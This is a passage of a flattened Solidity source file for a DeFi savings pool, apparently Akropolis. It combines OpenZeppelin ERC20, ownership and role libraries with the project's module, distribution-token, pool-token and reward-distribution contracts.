callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin\upgrades\contracts\Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
// File: contracts\utils\CalcUtils.sol
pragma solidity ^0.5.12;
library CalcUtils {
using SafeMath for uint256;
function normalizeAmount(address coin, uint256 amount) internal view returns(uint256) {
uint8 decimals = ERC20Detailed(coin).decimals();
if (decimals == 18) {
return amount;
} else if (decimals > 18) {
return amount.div(uint256(10)**(decimals-18));
} else if (decimals < 18) {
return amount.mul(uint256(10)**(18 - decimals));
}
}
function denormalizeAmount(address coin, uint256 amount) internal view returns(uint256) {
uint256 decimals = ERC20Detailed(coin).decimals();
if (decimals == 18) {
return amount;
} else if (decimals > 18) {
return amount.mul(uint256(10)**(decimals-18));
} else if (decimals < 18) {
return amount.div(uint256(10)**(18 - decimals));
}
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\GSN\Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\ownership\Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
// File: contracts\common\Base.sol
pragma solidity ^0.5.12;
/**
* Base contract for all modules
*/
contract Base is Initializable, Context, Ownable {
address constant ZERO_ADDRESS = address(0);
function initialize() public initializer {
Ownable.initialize(_msgSender());
}
}
// File: contracts\core\ModuleNames.sol
pragma solidity ^0.5.12;
/**
* @dev List of module names
*/
contract ModuleNames {
// Pool Modules
string internal constant MODULE_ACCESS = "access";
string internal constant MODULE_SAVINGS = "savings";
string internal constant MODULE_INVESTING = "investing";
string internal constant MODULE_STAKING_AKRO = "staking";
string internal constant MODULE_STAKING_ADEL = "stakingAdel";
string internal constant MODULE_DCA = "dca";
string internal constant MODULE_REWARD = "reward";
string internal constant MODULE_REWARD_DISTR = "rewardDistributions";
string internal constant MODULE_VAULT = "vault";
// Pool tokens
string internal constant TOKEN_AKRO = "akro";
string internal constant TOKEN_ADEL = "adel";
// External Modules (used to store addresses of external contracts)
string internal constant CONTRACT_RAY = "ray";
}
// File: contracts\common\Module.sol
pragma solidity ^0.5.12;
/**
* Base contract for all modules
*/
contract Module is Base, ModuleNames {
event PoolAddressChanged(address newPool);
address public pool;
function initialize(address _pool) public initializer {
Base.initialize();
setPool(_pool);
}
function setPool(address _pool) public onlyOwner {
require(_pool != ZERO_ADDRESS, "Module: pool address can't be zero");
pool = _pool;
emit PoolAddressChanged(_pool);
}
function getModuleAddress(string memory module) public view returns(address){
require(pool != ZERO_ADDRESS, "Module: no pool");
(bool success, bytes memory result) = pool.staticcall(abi.encodeWithSignature("get(string)", module));
//Forward error from Pool contract
if (!success) assembly {
revert(add(result, 32), result)
}
address moduleAddress = abi.decode(result, (address));
// string memory error = string(abi.encodePacked("Module: requested module not found - ", module));
// require(moduleAddress != ZERO_ADDRESS, error);
require(moduleAddress != ZERO_ADDRESS, "Module: requested module not found");
return moduleAddress;
}
}
// File: contracts\interfaces\access\IAccessModule.sol
pragma solidity ^0.5.12;
interface IAccessModule {
enum Operation {
Deposit,
Withdraw
}
/**
* @notice Check if operation is allowed
* @param operation Requested operation
* @param sender Sender of transaction
*/
function isOperationAllowed(Operation operation, address sender) external view returns(bool);
}
// File: contracts\modules\access\AccessChecker.sol
pragma solidity ^0.5.12;
contract AccessChecker is Module {
modifier operationAllowed(IAccessModule.Operation operation) {
IAccessModule am = IAccessModule(getModuleAddress(MODULE_ACCESS));
require(am.isOperationAllowed(operation, _msgSender()), "AccessChecker: operation not allowed");
_;
}
}
// File: contracts\interfaces\defi\IDefiProtocol.sol
pragma solidity ^0.5.12;
interface IDefiProtocol {
/**
* @notice Transfer tokens from sender to DeFi protocol
* @param token Address of token
* @param amount Value of token to deposit
* @return new balances of each token
*/
function handleDeposit(address token, uint256 amount) external;
function handleDeposit(address[] calldata tokens, uint256[] calldata amounts) external;
/**
* @notice Transfer tokens from DeFi protocol to beneficiary
* @param token Address of token
* @param amount Denormalized value of token to withdraw
* @return new balances of each token
*/
function withdraw(address beneficiary, address token, uint256 amount) external;
/**
* @notice Transfer tokens from DeFi protocol to beneficiary
* @param amounts Array of amounts to withdraw, in order of supportedTokens()
* @return new balances of each token
*/
function withdraw(address beneficiary, uint256[] calldata amounts) external;
/**
* @notice Claim rewards. Reward tokens will be stored on protocol balance.
* @return tokens and their amounts received
*/
function claimRewards() external returns(address[] memory tokens, uint256[] memory amounts);
/**
* @notice Withdraw reward tokens to user
* @dev called by SavingsModule
* @param token Reward token to withdraw
* @param user Who should receive tokens
* @param amount How many tokens to send
*/
function withdrawReward(address token, address user, uint256 amount) external;
/**
* @dev This function is not view because on some protocols
* (Compound, RAY with Compound oportunity) it may cause storage writes
*/
function balanceOf(address token) external returns(uint256);
/**
* @notice Balance of all tokens supported by protocol
* @dev This function is not view because on some protocols
* (Compound, RAY with Compound oportunity) it may cause storage writes
*/
function balanceOfAll() external returns(uint256[] memory);
/**
* @notice Returns optimal proportions of underlying tokens
* to prevent fees on deposit/withdrawl if supplying multiple tokens
* @dev This function is not view because on some protocols
* (Compound, RAY with Compound oportunity) it may cause storage writes
* same as balanceOfAll()
*/
function optimalProportions() external returns(uint256[] memory);
/**
* @notice Returns normalized (to USD with 18 decimals) summary balance
* of pool using all tokens in this protocol
*/
function normalizedBalance() external returns(uint256);
function supportedTokens() external view returns(address[] memory);
function supportedTokensCount() external view returns(uint256);
function supportedRewardTokens() external view returns(address[] memory);
function isSupportedRewardToken(address token) external view returns(bool);
/**
* @notice Returns if this protocol can swap all it's normalizedBalance() to specified token
*/
function canSwapToToken(address token) external view returns(bool);
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\access\Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\access\roles\MinterRole.sol
pragma solidity ^0.5.0;
contract MinterRole is Initializable, Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
function initialize(address sender) public initializer {
if (!isMinter(sender)) {
_addMinter(sender);
}
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
uint256[50] private ______gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20Mintable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is Initializable, ERC20, MinterRole {
function initialize(address sender) public initializer {
MinterRole.initialize(sender);
}
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
uint256[50] private ______gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20Burnable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Initializable, Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
uint256[50] private ______gap;
}
// File: contracts\interfaces\token\IPoolTokenBalanceChangeRecipient.sol
pragma solidity ^0.5.12;
interface IPoolTokenBalanceChangeRecipient {
function poolTokenBalanceChanged(address user) external;
}
// File: contracts\modules\token\DistributionToken.sol
pragma solidity ^0.5.12;
//solhint-disable func-order
contract DistributionToken is ERC20, ERC20Mintable {
using SafeMath for uint256;
uint256 public constant DISTRIBUTION_AGGREGATION_PERIOD = 24*60*60;
event DistributionCreated(uint256 amount, uint256 totalSupply);
event DistributionsClaimed(address account, uint256 amount, uint256 fromDistribution, uint256 toDistribution);
event DistributionAccumulatorIncreased(uint256 amount);
struct Distribution {
uint256 amount; // Amount of tokens being distributed during the event
uint256 totalSupply; // Total supply before distribution
}
Distribution[] public distributions; // Array of all distributions
mapping(address => uint256) public nextDistributions; // Map account to first distribution not yet processed
uint256 public nextDistributionTimestamp; //Timestamp when next distribuition should be fired regardles of accumulated tokens
uint256 public distributionAccumulator; //Tokens accumulated for next distribution
function distribute(uint256 amount) external onlyMinter {
distributionAccumulator = distributionAccumulator.add(amount);
emit DistributionAccumulatorIncreased(amount);
_createDistributionIfReady();
}
function createDistribution() external onlyMinter {
require(distributionAccumulator > 0, "DistributionToken: nothing to distribute");
_createDistribution();
}
function claimDistributions(address account) external returns(uint256) {
_createDistributionIfReady();
uint256 amount = _updateUserBalance(account, distributions.length);
if (amount > 0) userBalanceChanged(account);
return amount;
}
/**
* @notice Claims distributions and allows to specify how many distributions to process.
* This allows limit gas usage.
* One can do this for others
*/
function claimDistributions(address account, uint256 toDistribution) external returns(uint256) {
require(toDistribution <= distributions.length, "DistributionToken: lastDistribution too hight");
require(nextDistributions[account] < toDistribution, "DistributionToken: no distributions to claim");
uint256 amount = _updateUserBalance(account, toDistribution);
if (amount > 0) userBalanceChanged(account);
return amount;
}
function claimDistributions(address[] calldata accounts) external {
_createDistributionIfReady();
for (uint256 i=0; i < accounts.length; i++){
uint256 amount = _updateUserBalance(accounts[i], distributions.length);
if (amount > 0) userBalanceChanged(accounts[i]);
}
}
function claimDistributions(address[] calldata accounts, uint256 toDistribution) external {
require(toDistribution <= distributions.length, "DistributionToken: lastDistribution too hight");
for (uint256 i=0; i < accounts.length; i++){
uint256 amount = _updateUserBalance(accounts[i], toDistribution);
if (amount > 0) userBalanceChanged(accounts[i]);
}
}
/**
* @notice Full balance of account includes:
* - balance of tokens account holds himself (0 for addresses of locking contracts)
* - balance of tokens locked in contracts
* - tokens not yet claimed from distributions
*/
function fullBalanceOf(address account) public view returns(uint256){
if (account == address(this)) return 0; //Token itself only holds tokens for others
uint256 distributionBalance = distributionBalanceOf(account);
uint256 unclaimed = calculateClaimAmount(account);
return distributionBalance.add(unclaimed);
}
/**
* @notice How many tokens are not yet claimed from distributions
* @param account Account to check
* @return Amount of tokens available to claim
*/
function calculateUnclaimedDistributions(address account) public view returns(uint256) {
return calculateClaimAmount(account);
}
/**
* @notice Calculates amount of tokens distributed to inital amount between startDistribution and nextDistribution
* @param fromDistribution index of first Distribution to start calculations
* @param toDistribution index of distribuition next to the last processed
* @param initialBalance amount of tokens before startDistribution
* @return amount of tokens distributed
*/
function calculateDistributedAmount(uint256 fromDistribution, uint256 toDistribution, uint256 initialBalance) public view returns(uint256) {
require(fromDistribution < toDistribution, "DistributionToken: startDistribution is too high");
require(toDistribution <= distributions.length, "DistributionToken: nextDistribution is too high");
return _calculateDistributedAmount(fromDistribution, toDistribution, initialBalance);
}
function nextDistribution() public view returns(uint256){
return distributions.length;
}
/**
* @notice Balance of account, which is counted for distributions
* It only represents already distributed balance.
* @dev This function should be overloaded to include balance of tokens stored in proposals
*/
function distributionBalanceOf(address account) public view returns(uint256) {
return balanceOf(account);
}
/**
* @notice Total supply which is counted for distributions
* It only represents already distributed tokens
* @dev This function should be overloaded to exclude tokens locked in loans
*/
function distributionTotalSupply() public view returns(uint256){
return totalSupply();
}
// Override functions that change user balance
function _transfer(address sender, address recipient, uint256 amount) internal {
_createDistributionIfReady();
_updateUserBalance(sender);
_updateUserBalance(recipient);
super._transfer(sender, recipient, amount);
userBalanceChanged(sender);
userBalanceChanged(recipient);
}
function _mint(address account, uint256 amount) internal {
_createDistributionIfReady();
_updateUserBalance(account);
super._mint(account, amount);
userBalanceChanged(account);
}
function _burn(address account, uint256 amount) internal {
_createDistributionIfReady();
_updateUserBalance(account);
super._burn(account, amount);
userBalanceChanged(account);
}
function _updateUserBalance(address account) internal returns(uint256) {
return _updateUserBalance(account, distributions.length);
}
function _updateUserBalance(address account, uint256 toDistribution) internal returns(uint256) {
uint256 fromDistribution = nextDistributions[account];
if (fromDistribution >= toDistribution) return 0;
uint256 distributionAmount = calculateClaimAmount(account, toDistribution);
if (distributionAmount == 0) return 0;
nextDistributions[account] = toDistribution;
super._transfer(address(this), account, distributionAmount);
emit DistributionsClaimed(account, distributionAmount, fromDistribution, toDistribution);
return distributionAmount;
}
function _createDistributionIfReady() internal {
if (!isReadyForDistribution()) return;
_createDistribution();
}
function _createDistribution() internal {
uint256 currentTotalSupply = distributionTotalSupply();
distributions.push(Distribution({
amount:distributionAccumulator,
totalSupply: currentTotalSupply
}));
super._mint(address(this), distributionAccumulator); //Use super because we overloaded _mint in this contract and need old behaviour
emit DistributionCreated(distributionAccumulator, currentTotalSupply);
// Clear data for next distribution
distributionAccumulator = 0;
nextDistributionTimestamp = now.sub(now % DISTRIBUTION_AGGREGATION_PERIOD).add(DISTRIBUTION_AGGREGATION_PERIOD);
}
/**
* @dev This is a placeholder, which may be overrided to notify other contracts of PTK balance change
*/
function userBalanceChanged(address /*account*/) internal {
}
/**
* @notice Calculates amount of account's tokens to be claimed from distributions
*/
function calculateClaimAmount(address account) internal view returns(uint256) {
if (nextDistributions[account] >= distributions.length) return 0;
return calculateClaimAmount(account, distributions.length);
}
function calculateClaimAmount(address account, uint256 toDistribution) internal view returns(uint256) {
assert(toDistribution <= distributions.length);
return _calculateDistributedAmount(nextDistributions[account], toDistribution, distributionBalanceOf(account));
}
function _calculateDistributedAmount(uint256 fromDistribution, uint256 toDistribution, uint256 initialBalance) internal view returns(uint256) {
uint256 next = fromDistribution;
uint256 balance = initialBalance;
if (initialBalance == 0) return 0;
while (next < toDistribution) {
uint256 da = balance.mul(distributions[next].amount).div(distributions[next].totalSupply);
balance = balance.add(da);
next++;
}
return balance.sub(initialBalance);
}
/**
* @dev Calculates if conditions for creating new distribution are met
*/
function isReadyForDistribution() internal view returns(bool) {
return (distributionAccumulator > 0) && (now >= nextDistributionTimestamp);
}
}
// File: contracts\modules\token\PoolToken.sol
pragma solidity ^0.5.12;
contract PoolToken is Module, ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable, DistributionToken {
bool allowTransfers;
function initialize(address _pool, string memory poolName, string memory poolSymbol) public initializer {
Module.initialize(_pool);
ERC20Detailed.initialize(poolName, poolSymbol, 18);
ERC20Mintable.initialize(_msgSender());
}
function setAllowTransfers(bool _allowTransfers) public onlyOwner {
allowTransfers = _allowTransfers;
}
/**
* @dev Overrides ERC20Burnable burnFrom to allow unlimited transfers by SavingsModule
*/
function burnFrom(address from, uint256 value) public {
if (isMinter(_msgSender())) {
//Skip decrease allowance
_burn(from, value);
}else{
super.burnFrom(from, value);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
if( !allowTransfers &&
(sender != address(this)) //transfers from *this* used for distributions
){
revert("PoolToken: transfers between users disabled");
}
super._transfer(sender, recipient, amount);
}
function userBalanceChanged(address account) internal {
IPoolTokenBalanceChangeRecipient rewardDistrModule = IPoolTokenBalanceChangeRecipient(getModuleAddress(MODULE_REWARD_DISTR));
rewardDistrModule.poolTokenBalanceChanged(account);
}
function distributionBalanceOf(address account) public view returns(uint256) {
return (account == address(this))?0:super.distributionBalanceOf(account);
}
function distributionTotalSupply() public view returns(uint256) {
return super.distributionTotalSupply().sub(balanceOf(address(this)));
}
}
// File: contracts\modules\savings\RewardDistributions.sol
pragma solidity ^0.5.12;
contract RewardDistributions is Base, AccessChecker {
using SafeMath for uint256;
struct RewardTokenDistribution {
address poolToken; // PoolToken which holders will receive reward
uint256 totalShares; // Total shares of PoolToken participating in this distribution
address[] rewardTokens; // List of reward tokens being distributed
mapping(address=>uint256) amounts;
}
struct UserProtocolRewards {
mapping(address=>uint256) amounts; // Maps address of reward token to amount beeing distributed
}
struct RewardBalance {
uint256 nextDistribution;
mapping(address => uint256) shares; // Maps PoolToken to amount of user shares participating in distributions
mapping(address => UserProtocolRewards) rewardsByProtocol; //Maps PoolToken to ProtocolRewards struct (map of reward tokens to their balances);
}
RewardTokenDistribution[] rewardDistributions;
mapping(address=>RewardBalance) rewardBalances; //Mapping users to their RewardBalance
// function registeredPoolTokens() public view returns(address[] memory);
// function userRewards(address user, address protocol, address[] calldata rewardTokens) external view returns(uint256[] memory){
// uint256[] memory amounts = new uint256[](rewardTokens.length);
// RewardBalance storage rb = rewardBalances[user];
// require(rb.nextDistribution == rewardDistributions.length, "RewardDistributions: rewards not calculated");
// for(uint256 i=0; i<amounts.length; i++) {
// address rt = rewardTokens[i];
// amounts[i] = rb.rewardsByProtocol[protocol].amounts[rt];
// }
// return amounts;
// }
// function rewardBalanceOf(address user, address poolToken, address rewardToken) public view returns(uint256) {
// RewardBalance storage rb = rewardBalances[user];
// UserProtocolRewards storage upr = rb.rewardsByProtocol[poolToken];
// uint256 balance = upr.amounts[rewardToken];
// uint256 next = rb.nextDistribution;
// while (next < rewardDistributions.length) {
// RewardTokenDistribution storage d = rewardDistributions[next];
// next++;
// uint256 sh = rb.shares[d.poolToken];
// if (sh == 0 || poolToken != d.poolToken) continue;
// uint256 distrAmount = d.amounts[rewardToken];
// balance = balance.add(distrAmount.mul(sh).div(d.totalShares));
// }
// return balance;
// }
function rewardBalanceOf(address user, address poolToken, address[] memory rewardTokens) public view returns(uint256[] memory) {
RewardBalance storage rb = rewardBalances[user];
UserProtocolRewards storage upr = rb.rewardsByProtocol[poolToken];
uint256[] memory balances = new uint256[](rewardTokens.length);
uint256 i;
for(i=0; i < rewardTokens.length; i++){
